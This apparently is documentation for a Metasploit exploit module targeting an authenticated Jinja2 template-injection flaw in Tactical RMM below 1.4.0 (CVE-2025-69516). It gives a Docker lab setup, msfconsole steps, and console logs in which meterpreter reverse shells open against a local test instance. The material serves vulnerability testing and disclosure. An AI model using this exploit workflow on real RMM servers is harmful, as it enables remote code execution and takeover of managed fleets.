## Vulnerable Application

A Server-Side Template Injection (SSTI) vulnerability in Tactical RMM allows authenticated
users to execute arbitrary code on the server (CVE-2025-69516).

The reporting template preview endpoint (`/reporting/templates/preview/`) passes user-controlled
Jinja2 template content to `Environment.from_string()` without sandboxing. This allows breaking
out of the template context and executing arbitrary Python code.

The vulnerability affects:

  * Tactical RMM < 1.4.0

This module was successfully tested on:

  * Tactical RMM 1.3.1 (Docker) on Ubuntu

### Docker Setup

1. Create a working directory and the following `.env` file:

```
IMAGE_REPO=tacticalrmm/
VERSION=1.3.1

APP_HOST=rmm.localhost
API_HOST=api.localhost
MESH_HOST=mesh.localhost

CSRF_COOKIE_DOMAIN=.localhost
SESSION_COOKIE_DOMAIN=.localhost

TRMM_USER=tactical
TRMM_PASS=tactical
MESH_USER=admin@localhost
MESH_PASS=Admin123!

POSTGRES_USER=tactical
POSTGRES_PASS=tactical

MONGODB_USER=mongouser
MONGODB_PASSWORD=mongopass

CERT_PUB_KEY=<base64-encoded self-signed cert>
CERT_PRIV_KEY=<base64-encoded private key>

MESH_PERSISTENT_CONFIG=0

TRMM_DISABLE_WEB_TERMINAL=False
TRMM_DISABLE_SERVER_SCRIPTS=False
TRMM_DISABLE_SSO=True

TRMM_HTTP_PORT=18080
TRMM_HTTPS_PORT=18443
```

2. Generate self-signed certificates for `*.localhost`:

```bash
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
  -days 3650 -nodes -subj "/CN=*.localhost" \
  -addext "subjectAltName=DNS:*.localhost,DNS:localhost"
CERT_PUB_KEY=$(base64 -w0 cert.pem)
CERT_PRIV_KEY=$(base64 -w0 key.pem)
```

Update the `.env` file with the generated `CERT_PUB_KEY` and `CERT_PRIV_KEY` values.

3. Create the `docker-compose.yml`:

```yaml
version: "3.7"

networks:
  proxy:
    driver: bridge
    ipam:
      driver: default
      config:
        - subnet: 172.28.0.0/24
  api-db:
  redis:
  mesh-db:

volumes:
  tactical_data:
  postgres_data:
  mongo_data:
  mesh_data:
  redis_data:

services:
  tactical-postgres:
    container_name: trmm-postgres
    image: postgres:13-alpine
    restart: always
    environment:
      POSTGRES_DB: tacticalrmm
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASSWORD: ${POSTGRES_PASS}
    volumes:
      - postgres_data:/var/lib/postgresql/data
    networks:
      - api-db

  tactical-redis:
    container_name: trmm-redis
    image: redis:6.0-alpine
    user: 1000:1000
    command: redis-server
    restart: always
    volumes:
      - redis_data:/data
    networks:
      - redis

  tactical-init:
    container_name: trmm-init
    image: ${IMAGE_REPO}tactical:${VERSION}
    restart: on-failure
    command: ["tactical-init"]
    environment:
      POSTGRES_USER: ${POSTGRES_USER}
      POSTGRES_PASS: ${POSTGRES_PASS}
      APP_HOST: ${APP_HOST}
      API_HOST: ${API_HOST}
      CSRF_COOKIE_DOMAIN: ${CSRF_COOKIE_DOMAIN}
      SESSION_COOKIE_DOMAIN: ${SESSION_COOKIE_DOMAIN}
      MESH_USER: ${MESH_USER}
      MESH_HOST: ${MESH_HOST}
      TRMM_USER: ${TRMM_USER}
      TRMM_PASS: ${TRMM_PASS}
      TRMM_DISABLE_WEB_TERMINAL: ${TRMM_DISABLE_WEB_TERMINAL}
      TRMM_DISABLE_SERVER_SCRIPTS: ${TRMM_DISABLE_SERVER_SCRIPTS}
      TRMM_DISABLE_SSO: ${TRMM_DISABLE_SSO}
    depends_on:
      - tactical-postgres
      - tactical-meshcentral
      - tactical-redis
    networks:
      - api-db
      - proxy
      - redis
    volumes:
      - tactical_data:/opt/tactical
      - mesh_data:/meshcentral-data
      - mongo_data:/mongo/data/db
      - redis_data:/redis/data

  tactical-nats:
    container_name: trmm-nats
    image: ${IMAGE_REPO}tactical-nats:${VERSION}
    user: 1000:1000
    restart: always
    environment:
      API_HOST: ${API_HOST}
    volumes:
      - tactical_data:/opt/tactical
    networks:
      api-db:
      proxy:
        aliases:
          - ${API_HOST}

  tactical-meshcentral:
    container_name: trmm-meshcentral
    image: ${IMAGE_REPO}tactical-meshcentral:${VERSION}
    user: 1000:1000
    restart: always
    environment:
      MESH_HOST: ${MESH_HOST}
      MESH_USER: ${MESH_USER}
      MESH_PASS: ${MESH_PASS}
      MONGODB_USER: ${MONGODB_USER}
      MONGODB_PASSWORD: ${MONGODB_PASSWORD}
      MESH_PERSISTENT_CONFIG: ${MESH_PERSISTENT_CONFIG}
      NGINX_HOST_IP: 172.28.0.20
    networks:
      proxy:
        aliases:
          - ${MESH_HOST}
      mesh-db:
    volumes:
      - tactical_data:/opt/tactical
      - mesh_data:/home/node/app/meshcentral-data
    depends_on:
      - tactical-mongodb

  tactical-mongodb:
    container_name: trmm-mongodb
    image: mongo:4.4
    user: 1000:1000
    restart: always
    environment:
      MONGO_INITDB_ROOT_USERNAME: ${MONGODB_USER}
      MONGO_INITDB_ROOT_PASSWORD: ${MONGODB_PASSWORD}
      MONGO_INITDB_DATABASE: meshcentral
    networks:
      - mesh-db
    volumes:
      - mongo_data:/data/db

  tactical-frontend:
    container_name: trmm-frontend
    image: ${IMAGE_REPO}tactical-frontend:${VERSION}
    user: 1000:1000
    restart: always
    networks:
      - proxy
    volumes:
      - tactical_data:/opt/tactical
    environment:
      API_HOST: ${API_HOST}

  tactical-backend:
    container_name: trmm-backend
    image: ${IMAGE_REPO}tactical:${VERSION}
    user: 1000:1000
    command: ["tactical-backend"]
    restart: always
    networks:
      - proxy
      - api-db
      - redis
    volumes:
      - tactical_data:/opt/tactical
    depends_on:
      - tactical-postgres

  tactical-websockets:
    container_name: trmm-websockets
    image: ${IMAGE_REPO}tactical:${VERSION}
    user: 1000:1000
    command: ["tactical-websockets"]
    restart: always
    networks:
      - proxy
      - api-db
      - redis
    volumes:
      - tactical_data:/opt/tactical
    depends_on:
      - tactical-postgres
      - tactical-backend

  tactical-nginx:
    container_name: trmm-nginx
    image: ${IMAGE_REPO}tactical-nginx:${VERSION}
    user: 1000:1000
    restart: always
    environment:
      APP_HOST: ${APP_HOST}
      API_HOST: ${API_HOST}
      MESH_HOST: ${MESH_HOST}
      CERT_PUB_KEY: ${CERT_PUB_KEY}
      CERT_PRIV_KEY: ${CERT_PRIV_KEY}
    networks:
      proxy:
        ipv4_address: 172.28.0.20
    ports:
      - "${TRMM_HTTP_PORT-80}:8080"
      - "${TRMM_HTTPS_PORT-443}:4443"
    volumes:
      - tactical_data:/opt/tactical

  tactical-celery:
    container_name: trmm-celery
    image: ${IMAGE_REPO}tactical:${VERSION}
    user: 1000:1000
    command: ["tactical-celery"]
    restart: always
    networks:
      - redis
      - proxy
      - api-db
    volumes:
      - tactical_data:/opt/tactical
    depends_on:
      - tactical-postgres
      - tactical-redis

  tactical-celerybeat:
    container_name: trmm-celerybeat
    image: ${IMAGE_REPO}tactical:${VERSION}
    user: 1000:1000
    command: ["tactical-celerybeat"]
    restart: always
    networks:
      - proxy
      - redis
      - api-db
    volumes:
      - tactical_data:/opt/tactical
    depends_on:
      - tactical-postgres
      - tactical-redis
```

4. Start the lab and wait for initialization to complete:

```bash
docker compose up -d
docker compose logs -f tactical-init  # wait until it exits successfully
```

5. Verify the instance is running:

```bash
curl -sk https://localhost:18443/env-config.js
```

## Verification Steps

1. Start the Docker lab as described above
2. Start msfconsole
3. Do: `use exploit/linux/http/tacticalrmm_ssti_rce_cve_2025_69516`
4. Do: `set RHOSTS 127.0.0.1`
5. Do: `set RPORT 18443`
6. Do: `set API_VHOST api.localhost`
7. Do: `set USERNAME tactical`
8. Do: `set PASSWORD tactical`
9. Do: `run lhost=<your-ip>`
10. You should get a meterpreter session

## Options

### USERNAME (required)
Username for Tactical RMM authentication.

### PASSWORD (required)
Password for Tactical RMM authentication.

### API_VHOST (optional)
API hostname for the Host header. If left blank, the module auto-discovers it from `/env-config.js`
on the frontend. Set this explicitly when targeting the API directly or when the frontend is not
accessible.

### WritableDir (required)
Writable directory on the target for dropping the ELF payload (Linux x64 target only).
Defaults to `/tmp`.

## Scenarios

### Python meterpreter (target 0) against Tactical RMM 1.3.1 via Docker

```
msf > use exploit/linux/http/tacticalrmm_ssti_rce_cve_2025_69516
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set RPORT 18443
RPORT => 18443
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set API_VHOST api.localhost
API_VHOST => api.localhost
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set USERNAME tactical
USERNAME => tactical
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set PASSWORD tactical
PASSWORD => tactical
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set LHOST 172.28.0.1
LHOST => 172.28.0.1
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > run

[*] Started reverse TCP handler on 172.28.0.1:4441
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Version 1.3.1 is vulnerable (< 1.4.0)
[+] The target is vulnerable. Jinja2 SSTI confirmed via unsandboxed template evaluation
[*] Authenticated, token obtained
[*] Sending SSTI payload...
[*] Meterpreter session 1 opened (172.28.0.1:4441 -> 172.28.0.4:52026) at 2026-02-23 19:24:07 +0100

meterpreter >
```

### Linux x64 meterpreter (target 2) against Tactical RMM 1.3.1 via Docker

```
msf > use exploit/linux/http/tacticalrmm_ssti_rce_cve_2025_69516
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set target 2
target => 2
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set payload linux/x64/meterpreter_reverse_tcp
payload => linux/x64/meterpreter_reverse_tcp
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set RPORT 18443
RPORT => 18443
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set API_VHOST api.localhost
API_VHOST => api.localhost
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set USERNAME tactical
USERNAME => tactical
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set PASSWORD tactical
PASSWORD => tactical
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > set LHOST 172.28.0.1
LHOST => 172.28.0.1
msf exploit(linux/http/tacticalrmm_ssti_rce_cve_2025_69516) > run

[*] Started reverse TCP handler on 172.28.0.1:4443
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Version 1.3.1 is vulnerable (< 1.4.0)
[+] The target is vulnerable. Jinja2 SSTI confirmed via unsandboxed template evaluation
[*] Authenticated, token obtained
[*] Sending SSTI payload...
[*] Meterpreter session 1 opened (172.28.0.1:4443 -> 172.28.0.4:33244) at 2026-02-23 19:24:09 +0100

meterpreter >
```
